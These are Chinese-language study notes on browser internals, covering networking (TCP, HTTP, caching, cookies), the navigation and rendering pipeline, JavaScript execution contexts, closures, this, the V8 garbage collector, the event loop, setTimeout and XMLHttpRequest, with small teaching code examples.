浏览器工作原理与实践

并行处理：A-B-C-D

进程vs线程：

1.进程中的任意一线程执行出错，都会导致整个进程的崩溃；

2.线程之间共享进程中的数据；

3.当一个进程关闭之后，操作系统会回收进程所占用的内存；

4.进程之间的内容相互隔离

单进程浏览器 ==> 多进程浏览器

IPC机制

安全沙箱

引擎v8

排班引擎blink

面向服务架构SOA

websocket

TCP协议：

FP(First Paint)-从页面加载到首次开始绘制的时长，衡量web页面性能的重要指标，影响用户的跳出率

PV-page view

数据包

主机A-主机B

数据包+IP头（IP版本，源IP/目标IP 地址，生存时间等信息）

+

UDP（User Datagram protocol 用户数据包协议）

端口号-访问指定的程序

UDP头（目的/源端口号信息）

丢包-UDP传输时数据包出错，UDP不保证数据可靠性，但是传输速度很快 -视频游戏

TCP（传输控制协议）：邮件

对于数据包丢失的情况，提供重传机制；

引入数据包排序机制，保证把乱序的数据包组合成一个完整的文件

IP负责把数据包送达目的主机

UDP负责把数据包送达具体应用

TCP保证数据完整传输，建立连接-传输数据-断开连接

QUIC

-------------

HTTP请求流程：

TCP流程：建立连接、传输数据、断开连接

Http：建立在TCP连接基础上，允许浏览器向服务器获取资源的协议

------------------------------

浏览器发送HTTP请求流程：

1.构建请求：

构建行信息，准备发起网络请求：

GET/index.html.HTTP1.1

2.查找缓存：

在发起网络请求之前，浏览器会在浏览器缓存查询是否有要请求的文件，有会拦截请求，返回该资源的副本，没有会进去网络请求过程

3.准备IP地址和端口：

DNS（Domin Name System）-域系统，负责把域名和IP地址一一映射

浏览器请求DNS返回域名对应的IP，浏览器提供了DNS数据缓存服务

拿到IP地址后，如果URL没有指明端口号，Http协议默认是80端口

4.等待TCP队列：

chrome有个机制，同一域名最多只能建立6个TCP链接，如果超过就会进入排队等待状态，直至进行中的请求完成，少于会直接进入下一步

5.建立TCP连接：

握手

6.发送HTTP请求：

建立了TCP连接之后，浏览器就可以和服务器通信了，浏览器如何发送请求信息给服务器：

请求行（请求方法+请求url+http协议版本）

请求头-告知浏览器的基础信息（操作系统/内核/域名...）

请求体-POST时准备的数据

--------------------------

服务器处理HTTP请求流程

1.返回请求

可以用工具软件curl查看返回请求数据：

curl -i https://time.geekbang.org/

响应行-http协议版本+状态码

响应头-服务器自身的一些信息，返回的数据类型，保存的cookie等信息

响应体-包含了HTML的实际内容

2.断开连接

一般情况下，服务器向客户端反悔了请求数据就会关闭TCP链接，如果浏览器/服务器在头信息中加入了

connection：keep-Alive

保持TCP连接

3.重定向

curl -I geekbang.org只获取响应头和行数据，不获取响应体数据：

301永久重定向，浏览器通过获取Location中的地址重新导航

---------------------------

1.站点第二次打开速度会很快？

DNS缓存和页面资源缓存

当服务器返回HTTP响应体给浏览器，浏览器通过响应体中的cahce-control设置是否缓存该自愿

Cache-Control:Max-age=2000

如果缓存过期，浏览器会在http请求上带上：

If-None-Match："4f80f-13c-3a1xb12a"

服务器收到请求后根据if的值判断请求资源是否有更新：

如果没有更新，返回304-缓存可以用，不重复发数据了；

如果资源更新，返回最新资源

2.登录状态如何保持？

输入-触发页面脚本-调用POST方法提交到服务器

服务器验证，正确的话会生成一段表示用户身份的字符串你，写到响应头的set-cookie字段里，发送给浏览器：

set-cookie：UID=3431uad；

浏览器解析响应头，若有set-cookie字段保存到本地；

用户再次访问，浏览器会发http请求，把该数据写进请求头发给服务器；

服务器收到请求，查找相关信息，生成用户数据发送到浏览器；

浏览器接受，呈现

-------------------------------------

从输入URL到页面展示：

整个过程需要多个进程之间的配合：

1.浏览器进程主要负责用户交互、子进程管理和文件储存等功能；

2.网络进程是面向渲染进程和浏览器进程等提供网络下载功能；

3.渲染进程的主要职责是把从网络下载的HTML、JavaScript、CSS、图片等资源解析为可以显示和交互的页面。因为渲染进程所有的内容都是通过网络获取的，会存在一些恶意代码利用浏览器漏洞对系统进行攻击，所以运行在渲染进程里面的代码是不被信任的。这也是为什么Chrome会让渲染进程运行在安全沙箱里，就是为了保证系统的安全；

整个流程（称之为导航）：

用户在浏览器输入请求信息；

网络进程发起url请求；

服务器响应请求，浏览器今晨刚开始准备我渲染进程；

准备就绪，向渲染进程提交页面数据，提交文档阶段；

渲染进程接受完文档信息后，开始解析页面和加载子资源，完成页面渲染

####

1.用户输入：

当用户在地址栏中输入一个查询字，地址栏会判断输入的关键字是搜索内容还是请求的url：

-if搜若内容，浏览器会使用浏览器默认的搜索引擎，合成新的带搜索关键字的url；

-if符合url规则，会在内容加上协议合并成完整的url，如：https://time.geekbang.org

2.url请求过程：

进入页面资源请求过程，浏览器进程会通过进程间通信（IPC）把URL请求发送至网络进程，网络进程收到URL请求后，发起真正的URL请求流程：

网络进程会查找本地缓存是否缓存了该资源，是直接返回资源给浏览器进程，无直接进入网络请求流程：

进行DNS解析，获取域名的服务器IP地址，若请求是HTTPS协议，还需要TLS连接；

利用IPD地址和服务器建立TCP连接，建立后，浏览器端构建请求行/头等信息，把域名相关的cookie等数据附加到请求头上，向服务器发送构建的请求信息；

服务器收到后，根据请求信息生成相应数据（包括响应行/头/体等信息），发给网络进程；

网络建成收到向银行和响应头，便开始解析：

(1)重定向

开始解析，若返回码是301或302，则服务器需要浏览器重定向到其他URL，网络进程会根据响应头的Location字段读取重定向的地址，然后发起新的HTTP/HTTPS请求，一切重头开始：

终端可以查看：curl -I http:tiem.geekbang.org/

301;200;

(2)响应数据类型处理 https://blog.poetries.top/browser-working-principle/

处理完跳转信息之后，继续导航流程的分析

Content - Type 告诉浏览器服务器返回的响应体数据是什么类型：

text/html application/octet-stream-下载类型

如果服务器配置Content - type不正确，浏览器可能会去接文件内容；

如果被判断为下载类型，该请求会被提交给浏览器的下载管理器，同时该URL请求的导航流程就此结束；

如果是HTML，会继续导航流程，chrome的页面渲染运行在渲染进程中

(3)准备渲染进程

默认情况下，chrome为每个页面分配一个渲染今晨个，特别情况下，会让多个页面直接运行在同一个渲染进程中

同一站点：根域名+加上协议，包含该根域名下的所有子域名和不同端口，如下：

https://time.geekbang.org

https://www.geekbang.org

https://www.geekbang.org:8080

chrome的默认策略，每个标签对应一个渲染进程，但如果从一个页面打开另一个新页面，且连个页面同属一个站点，新页面会复用父页面的渲染进程，官方称之为process-per-site-instance.

(4)提交文档

渲染进程准备好，还不能立即进入文档解析状态，因为此时文档数据还在网路进程中，没有提交到渲染进程：

文档-URL请求时的响应体数据

提交文档-浏览器进程发出，渲染进程接收到消息后，和网络进程建立传输数据的管道，等文档数据传输完成，渲染进程返回“确认消息”给浏览器进程，浏览器收到消息后，更新浏览器界面状态

(5)渲染阶段

页面生成后，渲染进程会发送消息给浏览器进程，浏览器接收到消息后，停止标签图标上的过载动画

------------------------------------------------------

渲染流程

HTML - 超文本标记语言 <p>极客时间</p>

CSS - 层叠样式表 p { color: red } 选择器-属性-值

JS p.style.color = "gray" 通过JS页面修改内容

渲染模块在执行过程中会划分为很多子阶段，渲染流水线：

构建DOM树

样式计算

布局阶段

分层

绘制

分块

光栅化

合成

1.构建DOM树（将HTML转化为浏览器能理解的结构）

console输入document可以看到完整的DOM树结构

通过JS修改DOM的内容：

document.getElementsByTagName("p")[0].innerText = "black"

2.样式计算（计算DMO节点中每个元素的具体样式）

A.把CSS转换为浏览器能够理解的结构：

CSS样式来源 - 通过link引用的外部CSS文件/<style>标记内的CSS/元素的style属性内嵌的CSS

渲染引擎需要将CSS文本转换为浏览器可以理解的结构普——stylesheets

可以在控制台中输入document.stylesheets查看

B.转换样式表中的属性值，使其标准化

body {font - size: 2em} ==> body{font-size: 32px}

p {color:blue;} ==> p{color: rgb{0,0,255}}

bold ==> 700....

C.计算出DOM树中每个节点的具体样式

CSS继承：每个DOM节点都包含有父节点的样式

点击Element ==> 查看 继承关系/具体来源信息

UserAgent —— 浏览器提供的默认样式

样式层叠：

样式计算阶段目的是计算出DOM节点中每个元素的具体样式，在计算过程中遵守CSS的继承和层叠两个规则，最终输出每个DOM节点的样式，保存在ComputedStyle的结构内

3.布局阶段（计算出DOM树中可见元素的几何位置）

A.创建布局树

DOM树中含有诸多不可见元素，如head标签，还有使用了display:none的元素，因此需要构建一棵可见元素布局树：

遍历DOM树中所以可见节点，把节点添加到布局中；

不可见节点会被布局树忽略调

B.布局计算

计算布局树节点的坐标位置

在执行布局操作会把布局运算的结果重新写回布局树中，布局树（既是输入内容也是输出内容），下一代布局系统LayoutNG会尝试区分输入内容和输出内容

4.分层

chrome在more tools 里选择layers标签查看可视化页面的分层情况

并非布局树的每个节点都包含一个图层，如果一个节点没有对应的层，那么这个节点就从属于父节点的图层；

满足以下任意一点的元素会被提升为单独的一层：

(1)拥有层叠上下文属性的元素：

明确定位属性/定义透明元素/使用CSS滤镜的元素；

(2)需要剪裁的地方会被创建为图层

例如当div的文字内容较多超过div的大小限定，渲染引擎会为文字部分单独创建一个层，如果出现滚动条也会被提升为单独的层

5.图层绘制

渲染引擎会把一个图层的绘制拆分为很多小的绘制指令，然后把这些指令按照顺序组成一个待绘制列表，

可以在layers标签下的-document体验绘制列表

6.栅格化操作

绘制列表用来记录绘制顺序和绘制指令的列表，实际上绘制操作由渲染引擎中的合成线程来完成

视口（viewport）- 屏幕上页面的可见区域

图层有时很大，但是用户只能看到一笑一部分，因此不必绘制出所有图层呢日用，合成内容会把图层划分为图块（tile），这些图块的大小通肠胃256x256或者512x512

合成线程会按照视口附近的图块优先生成位图（由栅格化完成，图块是栅格化执行的最小单位）

渲染进程维护了一个栅格化的线程池，所有的图块栅格化都是在线程池内执行;

栅格化过程会使用GPU加速完成，使用GPU生成位图的过程叫快速栅格化/GPU栅格化，生成的位图被保存在GPU内存中——跨进程操作

7.合成和显示

当所有图块都被光栅化，合成线程会生一个绘制图块的命令——DrawQuad，提交给浏览器进程

浏览器进程利用偶一个叫viz的组件，用来接受合成线程发来的DrawQuad命令，然后根据DrawQuad命令，将其页面内容绘制到内存中，然后显示在屏幕上

相关概念:

重排（更新元素的几何属性）

如果通过JS或者CSS修改元素的集合位置属性（宽，高等），浏览器会触发重新布局，解析之后的一系列子阶段——重排需要更新完整的渲染流水线，开销最大

重绘（更改元素的绘制属性）

通过JS更改元素的背景颜色，布局和分层阶段不会执行，直接进入绘制阶段，然后执行之后的一系列子阶段

合成（更改既不要布局也不要绘制的属性）

例如使用CSS的transform实现动画效果，会避开重排和重绘阶段，直接在非主线程执行合成动画操作

思考：

触发repaint和reflow的操作尽量放在一起，比如改变dom高度和设置margin一起写，分开会触发两次重排；

通过虚拟DOM层计算出操作总得差异，一起提交给浏览器

-------------------------------------------------

JavaScript执行机制

-------------------------------------------------

变量提升：

JS存在变量和函数声明的提升，但是值不提升

一段JS代码需要被JS引擎编译，完成之后才会进入执行阶段：

1.编译阶段：

输入一段代码经过JS引擎编译，会生成两部分-执行上下文+可执行代码：

执行上下文——JS执行一段代码时的运行环境，比如调用一个函数会进入该函数的执行上下文，确定该函数在执行间用到的诸如this、变量、对象及函数等；执行上下文中有一个Variable Environnment，该对象保存了变量提升的内容。

生成变量环境对象——创建一个名为myname的属性(由var声明)，并使用undefined对其初始化；JS引擎发现了一个通过function定义的函数，将函数定义存储到堆中，并在环境对象中创建一个showName的属性，将该属性值指向堆中函数的位置；

声明以外的代码会被编译成字节码

2.执行阶段

Js引擎开始执行“可执行代码”

当执行showName()，Js引擎会在变量环境对象中查找该函数，找到然后打印结果；同理，找myname变量，当值为undefined输出，给myname赋值则修改myname的属性值

当代吗出现同名变量或函数，后者会在变量环境中覆盖前者，最终执行的是最后一个函数

思考：

showName()

var showName = function() {

console.log(2)

}

function showName() {

console.log(1)

}

编译阶段：

var showName

function showName(){cosole.log(1)}

执行阶段:

showName() //输出1

showName = function(){console.log(2)} //再执行showName会输出2，因为此时函数引用变了

--------------------

调用栈：JS代码的栈溢出

当一段代码执行，JS引擎会先对其进行编译，并创建执行上下文——在执行前就进行编译并创建执行上下文的三种情形：

A.当JS执行全局代码时，会编译全局代码并创建全局执行上下文，且在整个页面的生存周期内，全局执行上下文只有一份；

B.当调用一个函数时，函数体内的代码会被编译，并创建执行上下文，一般情况下，函数执行结束后，创建的函数执行上下文会被销毁；

C.当时用eval函数，eval的代码会被编译，并创建执行上下文

----

函数调用：

var a = 2

fuction add(){

var b = 10

return a+ b

}

add()

全局执行上下文：

变量环境：

a = undefined

add = function(){

b = 10

return a+ b

}

词法环境

当执行到add()，JS判断是函数调用：

1.从全局执行上下文中取出add函数代码

2.对add函数的这段代码进行编译，创建该函数的执行上下文和可执行代码

3.执行代码，输出结果

----

栈（管理执行上下文）：

先进后出，后进先出

入栈，栈满，出栈，空栈和再次入栈，循环

---

调用栈：

JS引擎用栈管理执行上下文，将执行上下文亚茹栈中，管理执行上下文的栈称为调用栈：

F12在source里加上断点可以通过右边call stack查看当前的调用栈情况；

除了通过添加断点查看，也可以使用console.trace()输出当前的函数调用关系

---

栈溢出：

调用栈有大小，当入栈的执行上下文超过一定数目，JS引擎会报错：

Maximum call stack size exceeded

--------------------

块级作用域

代码块内部定义的变量在代码块外部访问不到，并且当该代码块中的代码执行完成之后，代码中定义的变量会被销毁

全局作用域（生命周期伴随页面的生命周期）

函数作用域

JS会优先使用函数执行上下文里的变量

变量提升的问题：

1.变量容易在不被察觉的情况下覆盖掉（变量同名）

2.本应销毁的变量没有销毁（例如for循环的值未被销毁）

let和const可以生成块级作用域，const声明的变量其值是不可以被改变的

JS如何支持块级作用域：

通过var声明的变量在编译阶段存放到变量环境里；

用过let声明的变量在编译阶段存放到词法环境中；

沿着词法环境的栈顶向下查询，如果在词法环境中的某个快查找到了就直接返回给js引擎，没有则在变量环境中继续查找

--------------------

作用域链和闭包

作用域链：

在执行上下文的变量环境中，都包含了一个外部引用，用来指向外部的执行上下文，称之为outer

词法作用域：

指作用域是由代码中函数声明的位置来决定；

如果两个函数使用了一个它们没有定义的变量，它们会在全局作用域去寻找；

在代码阶段就决定好，和函数怎么调用没有关系

对象内部的函数通常称为方法

闭包：

js中，根据词法作用域规则，内部函数总是可以访问其外部函数中声明的变量；当通过调用一个外部函数返回一个内部函数后，即使该外部函数已经执行结束，但是内部函数引用外部函数的变量依然保存在内存中，这些变量的集合统称为（外部函数的）“闭包”

Local --> closure --> Global(完整的作用域链)

闭包的回收：

如果引用闭包的函数是一个全局变量，闭包会一直存在到页面关闭（以后不再使用该闭包会造成内存泄漏）；

如果引用闭包的函数时一个局部变量，等函数销毁后，下次JS引擎执行垃圾回收，会判断闭包不再被使用回收该内存

-----------------------------------------------

this机制

执行上下文：变量环境+词法环境+outer+this

分为三种：全局执行上下文/函数执行上下文/eval执行上下文；

对应三种this.

全局执行上下文中的this：

指向window对象

函数执行上下文的this：

默认情况下调用一个函数，执行上下文中的this也是指向window对象；

1.可以通过函数的call方法执行上下文的this指向

let bar = {

myName : " 极客邦 ",

test1 : 1

}

function foo(){

this.myName = " 极客时间 "

}

foo.call(bar)

console.log(bar)

console.log(myName)

//调用foo的call方法，把bar对象作为call方法的参数，还可以使用bind和applay方法来设置函数执行上下文中的this

2.通过对象调用方法设置

使用对象调用其内部的一个方法，该方法的this指向对象本身，也可以理解为

对象.方法.call(对象)；

在全局环境中调用一个函数，函数内部的this指向的是全局变量window

3.通过构造函数中设置this

function CreateObj(){

this.name = " 极客时间 "

}

var myObj = new CreateObj()

以上一行代码等同于4步骤：

var tempObj = {}

CreateObj.call(tempObj)

return tempObj

-------------------

this的设计缺陷:

var myObj = {

name : " 极客时间 ",

showThis: function(){

console.log(this)

function bar(){console.log(this)}

bar()

}

}

myObj.showThis()

这里bar函数中的this指向的是全局window对象，而函数showthis中的this指向的是myobj对象。

弥补错误：

一.通过声明变量保存this：

var myObj = {

name : " 极客时间 ",

showThis: function(){

console.log(this)

var self = this

function bar(){

self.name = " 极客邦 "

}

bar()

}

}

myObj.showThis()

console.log(myObj.name)

console.log(window.name)

二：通过ES6中的箭头函数

var myObj = {

name : " 极客时间 ",

showThis: function(){

console.log(this)

var bar = ()=>{

this.name = " 极客邦 "

console.log(this)

}

bar()

}

}

myObj.showThis()

console.log(myObj.name)

console.log(window.name)

箭头函数并不会创建其自身的执行上下文，其中的this取决于它的外部函数

普通函数中的this默认指向全局对象window：

可以使用严格模式，该模式下，默认执行一个函数，函数的执行上下文中的this值是undefined

------------------------------------------------

V8工作原理

--------------

function foo(){

var a = {name:" 极客时间 "}

var b = a

a.name = " 极客邦 "

console.log(a)

console.log(b)

}

foo()

此时a,b打印出来的内容一致，都为{name:'极客邦"}

--------------

JS是一种弱类型的、动态的语言：

不需要显示声明数据类型；

可以使用同一个变量保存不同类型的数据；

typeof查看数据类型

注意：

typeof(null) 返回object，Bug，兼容老代码

Object，key-value类型，value可以是任何类型，包括函数；

除了object类型是引用类型，其他都为原始类型/值类型？

--------------

内存空间（代码空间/栈空间/堆空间）

代码空间-存储可执行代码

function foo(){

var a = " 极客时间 "

var b = a

var c = {name:" 极客时间 "}

var d = c

}

foo()

对象类型存放在堆空间，在栈空间只是保留了对象的引用地址，通过栈中的引用地址访问该数据

为什么需要区分堆和栈？

JS引擎需要用栈来维护程序执行期间上下文的状态，栈空间太大会影响上下文切换效率（堆空间的数据分配内存和回收内存会占用一定时间）

JS中引用类型的复制是复制引用类型——两个变量指向同一个对象

再谈闭包：

产生闭包的核心两步：

预扫描内部函数；

把内部函数引用的外部变量保存到堆中；

具体步骤（代码参照前面闭包代码）

1.当JS引擎执行到foo函数，首先编译，创建一个空执行上下文

2.编译过程中遇到内部函数，JS会对内部函数做一次快速的词法扫描，发现引用了foo函数的myName变量，判断为一个闭包，于是在堆空间创建一个closure(foo)的对象，用来保存myName变量

3.继续扫描，若还引用了外部函数变量，则添加，否则保存在栈中

F12 ==> Memory ==>take snapshot获取v8的内存快照，Ctrl+F搜索对象

----------------

垃圾回收（手动回收/自动垃圾回收）

内存泄漏：数据已经不再需要，但是没有主动调用函数来销毁的情况

栈数据回收

如果执行showName函数，JS引擎会创建该函数的执行上下文，并将上下文压入到调用栈中，同时还有一个记录当前执行状态的指针（ESP -Extend Stack Pointer），指向调用showName的执行上下文

执行完，指针下移，销毁showName函数执行上下文，有新的执行上下文会直接覆盖销毁的内存

堆数据回收

foo函数执行完毕，ESP指向全局执行上下文，但是保存在堆中的对象依然会占用空间

回收堆中的垃圾数据，需要使用到JS中的垃圾回收器：

（

垃圾回收策略：

代际假说（The Generational Hypothesis）

特点：

大部分对象在内存中存在的时间很短，很多对象一经分配内存很快就会不可访问；

不死的对象，会活得更久；

垃圾回收算法有很多种，需要权衡场景，根据对象的生存周期的不同使用不同的算法：

v8会把堆分成新生代+老生代两个区域；新生代存放生存时间短的对象，老生代存放生存时间久的对象；新生区支持1-8M的容量，老生区会大很多；

针对两块区域，v8使用两个不同的垃圾回收器，以便更高效地实施垃圾回收：

副垃圾回收器：主要负责新生代；

主垃圾回收器：主要负责老生代；

）

工作流程：

标记空间中活动对象（还在使用的对象）和非活动对象（可以进行垃圾回收的对象）；

回收非活动对象所占据的内存，完成标记后，统一清理内存中所有被标记为可回收的对象；

内存整理，频繁回收会导致内存中存在大量不连续空间（称之为内存碎片），如果需要分配较大连续内存，内存可能会出现不足的情况（这一步可选，副垃圾回收期不会产生内存碎片）；

副垃圾回收器：

区域不大，但是回收比较频繁（分配大多数小对象），使用Scavenge算法；

Scavenge算法——一半是对象区域，一半是空闲区域；

新加入的对象会存放到对象区域，该区域快被写满时执行一次垃圾清理操作；

回收过程中，首先对对象区域中的垃圾做标记；完成标记后，进入垃圾清理阶段，把存活的对象复制到空闲区域，并将对象有序排列；这个复制过程相当于完成了内存整理操作（所以复制后空闲区域没有内存碎片）

完成复制后，对象区域与空闲区域进行角色翻转，这种角色翻转能让新生代的两块区域无限重复使用下去；

复制操作需要时间成本，这也是新生区空间设置比较小的原因之一；但也因此容易被存活的对象布满整个区域，因此JS引擎采用了对象晋升策略，经过两次垃圾回收依然存活的对象会被移动到老生区中

主垃圾回收器：

对象占用空间大，对象存活时间长；

一些大的对象会被直接分配到老生区

标记-清除（Mark-Sweep算法）（复制对象费时，会导致回收执行效率不高）

首先是标记阶段-从一组根元素开始，递归遍历这组根元素，能到达的元素称为活动对象，没有到达的元素判断为垃圾数据；

清除操作（会产生大量不连续的内存碎片，碎片过多会导致大对象无法分配到足够的连续内存，因此产生了另一种算法）

标记-整理（Mark-Compact）标记过程一样，后续步骤是让所有存活的对象向一端移动，然后清理掉边界以外的内存；

全停顿（Stop-The-World）

JS运行在主线程之上，一旦执行回收算法，需要将正在执行的JS脚本暂停下来，待垃圾回收完毕后再恢复脚本执行

新生代的回收全停顿影响不大，但是老生代不一样，可能会造成页面卡顿；

增量标记（Incremental Marking）

为降低卡顿，v8将标记过程分为一个个的子标记过程，同时让垃圾回收标记和JS应用逻辑交替进行，直到标记阶段完成，此算法称为增量标记，将完整的垃圾回收任务拆分为很多小的任务；这样用时较短，可以穿插进行

---------------------

编译器和解析器

编译器（Compiler）和解释器（Interpreter）

1.编译型语言：在程序执行之前经过编译器编译，并且编译之后会直接保留机器能读懂的二进制文件；每次运行程序，便可直接运行二进制文件，无需重新编译，如C++;

2.解释型语言：每次运行时都需要通过解释器对程序进行动态解释和执行，如Python，Js

执行流程：

编译器：源代码 ==>编译器对源码进行词法分析/语法分析 ==>生成抽象语法树（AST）==> 词义分析生成中间代码 ==>代码优化生成机器码（二进制文件）==> 直接执行/编译器抛出异常；

解释器：源代码 ==> 词法分析/语法分析 ==> 生成抽象语法树（AST）==> 词义分析生成字节码 ==> 解释执行输出结果

代码流程：

v8执行js代码过程中既有解释器也有编译器

1.生成AST和执行上下文

Babel -代码转换器，可以将ES6代码转为ES5

ESLint 检查JS编写规范的插件，将源码转为AST，再利用AST检查代码规范化的问题

AST:

1.分词（tokenize），词法分析，将源码拆解为一个个token（语法上不可分最小的单个字符活或字符串），如

var myName = “极客时间”

关键字 标识符 复制 字符串(Literal)；

2.解析（parse）语法分析，将上一步生成的token数据，根据语法规则转为AST，若源码符合语法规则，这一步顺利完后才能，否则终止抛出语法错误；

3.生成字节码（一开始v8直接生成机器码，但随着chrome在手机的普及，内存占用问题暴露出来）；

字节码是一种介于AST和机器码的代码，需要解释器将其转为机器码才能执行；

第一次执行的字节码，解释器会逐条解释执行；若在执行当中发现有热点代码（一段代码被重复执行多次），则后台的编译器会把该热点的字节码编译为机器码，方便再次执行这段代码时直接执行编译后的机器码

字节码+JIT（即时编译）

JS的性能优化：

1.提升单次脚本的执行速度，避免长任务霸占主线程；

2.避免大的内联脚本，解析HTML过程中，解释和编译也会占用主线程；

3.减少JS文件的容量，更小的文件会提升下载速度，占用更低的内存

------------------------------------------------

浏览器页面循环系统

统筹调度系统-消息队列+事件循环系统

（主线程繁忙，需要处理DOM计算样式处理布局处理任务和输入事件，如何调度各种任务？）

1.单线程处理安排好的任务

2.在线程运行中处理新任务

-采用事件循环机制：在线程中引入循环机制（线程语句最后加入for循环）+引入事件（接收输入信息）

3.处理其他线程发送的任务

-如渲染主线程会接受来自IO线程的任务()比如加载资源，鼠标点击事件；

加入消息队列(先进先出的数据结构)；

IO线程中产生的新任务加入消息队列尾部；

渲染主线程循环地从消息队列头部读取/执行任务.

由于多个线程操作同一个消息队列，所以添加任务和取出任务时还会加上一个同步锁

4.处理其他进程发送的任务

-渲染进程中有个IO线程专门用来接受其他进程传进来的消息，接收消息后，把消息组装成任务发送给渲染主线程，后续步骤和“处理其他线程发送到任务”一致；

消息队列中的任务类型

参照Chromium的官方源码https://source.chromium.org/chromium/chromium/src/+/main:third\_party/blink/public/platform/task\_type.h

如输入事件、微任务、websocket、定时器

安全退出

页面主线程执行完之后，chrome会在每次执行完一个任务判断页面主线程是否有设置一个退出标致的变量；若有直接中断当前所有任务退出线程

页面使用单线程的缺点

一.如何处理高优先级的任务？

场景：监控DOM节点的变化，然后据此处理相应的业务逻辑；

处理一：利用JS设计一套监听接口，当变化发生，渲染引擎同步调用这些接口——观察者模式

问题：由于DOM变化频繁，每次变化发生都直接调用相应接口会导致任务执行时间拉长，执行效率低下；

处理二：将DOM变化做成异步的消息事件，添加至消息队列的尾部

问题：影响到监控的实时性，因为在添加至消息队列的过程中，可能前面有很多任务在排队

微任务：

消息队列中的任务通常被称为宏任务，每个宏任务包含一个微任务队列；

在执行宏任务的过程中，若DOM有变化，就将该变化添加到微任务列表中；

等宏任务的主要功能直接完成后，渲染引擎会执行当前宏任务中的微任务，然后才回去执行下一个宏任务.

二.如何解决单个任务执行时长过久的问题？

所有的任务都是在单线程执行，这可能会导致其中一个任务执行时间过久，下一个任务需要等待很长时间；

通过回调功能让要执行的JS任务滞后执行

F12 ==> Performance ==> Ctrl+Shift+E

记录整个页面加载中的事件执行情况

每个人物下面会有子任务；

在执行Parse Html时，若遇到JS脚本，会暂定当前的Html解析而去执行JS脚本

----------------------------

webapi - setTimeout

setTimeout(showName,200)

要执行异步任务，需要将任务先添加到消息队列；但由于消息队列中的任务是按照顺序执行的，所以不能将定时器的回调任务直接添加到消息队列中

——chrome还有另一个消息队列；这个队列中维护了需要延迟执行的任务列表，包括定时器和Chromium内部一些需要延迟执行的任务

设置定时器，JS引擎会返回一个定时器的ID，当任务还没有被执行时，可以调用clearTimeout函数，传入ID，取消定时器.

注意事项：

1.如果当前任务执行时间过久，会影响到期定时器任务的执行；

2.setTimeput存在嵌套调用，系统设置最短时间间隔为4ms；

chrome判断被嵌套调用5次以上的定时器，存在函数方法阻塞，后面每次最小调用时间间隔为4s；

3.未激活的页面，setTimeout执行最小间隔是1000 ms；

如果标签不是当前的激活标签，定时器最小时间间隔为1000ms，目的优化后台页面的加载损耗以及降低耗电量；

4.延迟执行时间有最大值

chrome、safari、firefox都是以32bit存储延时值，32bit最大只能存放2147483647ms(大约24.8天)，如果设置延迟值大于此，会立即执行

5.setTimeout设置的回调函数中的this

如果被setTimeout推迟执行的回调函数是某个对象的方法，那么该方法中的this关键字指向全局环境，而不是定义所在的对象；

解决方法：

1.将MyObj.shiwName放在匿名函数中执行

//箭头函数

setTimeout(() => {

MyObj.showName()

}, 1000);

//function函数

setTimeout(function() {

MyObj.showName();

}, 1000)

2.bind方法，将showName绑定在MyObj上面

setTimeout(MyObj.showName.bind(MyObj), 1000)

带括号是返回结果；而不带括号是将返回函数本身

------------------------------

webapi - XMLHttpRequest

在XMLHttpRequest出现之前，如果服务器数据有更新，需要重新刷新整个页面；通过XMLHttpRequest请求服务器提供的接口，可以获取服务器的数据，再操作DOM更新页面内容，只需要更新网页的一部分

回调函数-作为参数传递给另一个函数的函数

每当循环系统在执行一个任务，都会为这个任务维护一个系统调用栈（由C++开发），可以通过chrome://tracing/来抓取

同步回调-在当前主函数的上下文中执行回调函数；

异步回调-回调函数在主函数之外执行：

1.把异步函数作为一个任务，添加到信息队列尾部；

2.把异步函数添加到微任务队列中，这样可以在当前任务的末尾处执行微任务

XMLHttpRequest

function GetWebData(URL){

/\*\*

\* 1: 新建 XMLHttpRequest 请求对象

\*/

let xhr = new XMLHttpRequest()

/\*\*

\* 2: 注册相关事件回调处理函数

\*/

xhr.onreadystatechange = function () {

switch(xhr.readyState){

case 0: // 请求未初始化

console.log(" 请求未初始化 ")

break;

case 1://OPENED

console.log("OPENED")

break;

case 2://HEADERS\_RECEIVED

console.log("HEADERS\_RECEIVED")

break;

case 3://LOADING

console.log("LOADING")

break;

case 4://DONE

if(this.status == 200||this.status == 304){

console.log(this.responseText);

}

console.log("DONE")

break;

}

}

xhr.ontimeout = function(e) { console.log('ontimeout') }

xhr.onerror = function(e) { console.log('onerror') }

/\*\*

\* 3: 打开请求

\*/

xhr.open('Get', URL, true);// 创建一个 Get 请求, 采用异步

/\*\*

\* 4: 配置参数

\*/

xhr.timeout = 3000 // 设置 xhr 请求的超时时间

xhr.responseType = "text" // 设置响应返回的数据格式

xhr.setRequestHeader("X\_TEST","time.geekbang")

/\*\*

\* 5: 发送请求

\*/

xhr.send();

}

1.创建XMLHttpRequest对象

当执行到let xhr = new XMLHttpRequest()，js会创建一个XMLHttpRequest对象xhr，来执行实际的网络请求操作；

2.为xhr对象注册回调函数

由于网络请求耗时，所以注册回调函数(如此后台任务执行完成后就会通过调用回调函数通知执行结果)

XMLHttpRequest的回调函数主要有:

ontimeout-监控超时请求，后台请求超时会被调用;

onerror-监控出错信息，后台请求出错会被调用;

onreadystatechange-监控后台请求过程中的状态，可监控到Http头加载完成的消息，响应头消息以及数据加载完成的消息

3.配置基础的请求信息

注册回调事件之后，需要配置基础的请求信息：

首先要通过open接口配置基础的请求信息，如请求地址、方法等；

通过xhr内部属性类配置其他可选的请求信息：

如通过xhr.timeout=3000配置超时时间；

通过xhr.responseType="Text"配置服务器返回的格式；

若需要添加专用的请求头属性，可以通过xhr.setRequestHeader来添加

4.发送请求

一切准备就绪，调用xhr.send发起网络请求；

渲染进程将请求发送给网络进程 =>

网络进程接受数据后，利用IPC通知渲染进程

==> 渲染进程接收消息后，将xhr的回调函数封装成任务并添加到消息队列中，等主线程循环系统执行到该任务，会根据相关状态调用对应的回调函数:

若网络请求报错，执行xhr.onerror;

若超时，执行xhr.ontimeout,

若正常的数据接受，执行onreadystatechange反馈相应的状态

一些坑：

由于浏览器很多安全策略的限制，使用过程中会存在一些坑

1.跨域问题

默认情况下跨域请求不被允许（在A站点中去访问不同源的B站点的内容），请求会被Block

2.HTTPS混合内容的问题

Mixed contents - HTTPS页面中包含了不符合HTTPS安全要求的内容，比如包含了HTTP资源，通过HTTP加载的图像、视频、样式表、脚本等；

通过HTML文件加载的混合资源，虽然给出警告，但是大部分类型还是能加载的；而是用XMLHttpRequest请求时，浏览器认为这种请求可能是攻击者发起的，会组织此类危险的请求

